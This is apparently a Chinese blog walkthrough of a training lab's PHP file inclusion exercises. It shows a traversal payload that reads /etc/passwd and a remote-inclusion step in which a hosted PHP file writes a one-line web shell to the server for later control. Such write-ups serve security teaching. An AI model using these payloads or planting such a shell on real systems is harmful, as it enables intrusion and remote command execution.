4thrun

0x00 File Inclusion(文件包含)

许多语言都提供了内置的文件包含函数。文件包含允许在一个代码文件中直接包含(引入)另一个代码文件。PHP 中提供了:

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞是指文件包含的文件(名称)被开放为变量,而通过前端可以修改这个变量的值。靶场给出了两种文件包含案例。

  • 本地文件包含:仅能对服务端本地文件进行包含,攻击者可能会通过包含系统配置文件获得敏感信息,或者配合远程文件包含获得更高权限;
  • 远程文件包含:恶意文件可能存在于匿名文件暂存网站或攻击者控制的某台 VPS 上,若目标服务端支持通过 URL 包含远程文件,则极有可能受到重创。

0x01 本地文件包含

查看源码可知对前端输入没有过滤。

选择 Kobe Bryant,可以看到 URL 变化:/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 filename是完全可控的,直接修改即可。

举例:Linux 下查看 /etc/passwd,指定filename为:../../../../../../../../etc/passwd

0x02 远程文件包含

首先需要 PHP 配置支持。在 php.ini 中,关注两项:

  • allow_url_fopen = on(默认为on
  • allow_url_include = on(默认为off

写一个文本,以 PHP 代码创建 PHP 一句话木马:

<?php
    $file = fopen("op.php", "w");
    $txt = \'<?php system($_GET[x]);?>\';
	fwrite($file, $txt);
	fclose($file);
    ?>

因为是内网测试,就将这份文本用 live server 挂在物理机上,指定filename为该文本的 URL。

文件包含将执行上述代码,将一句话木马写在同级目录,之后上菜刀即可。

分类:

技术点:

相关文章:

  • 2021-10-05
  • 2022-01-13
  • 2021-11-19
  • 2021-08-07
  • 2020-06-07
  • 2021-10-04
  • 2021-05-27
  • 2021-05-11
猜你喜欢
  • 2021-10-19
  • 2021-11-08
  • 2021-12-27
  • 2021-10-15
  • 2021-09-08
  • 2021-08-26
  • 2021-11-13
相关资源
相似解决方案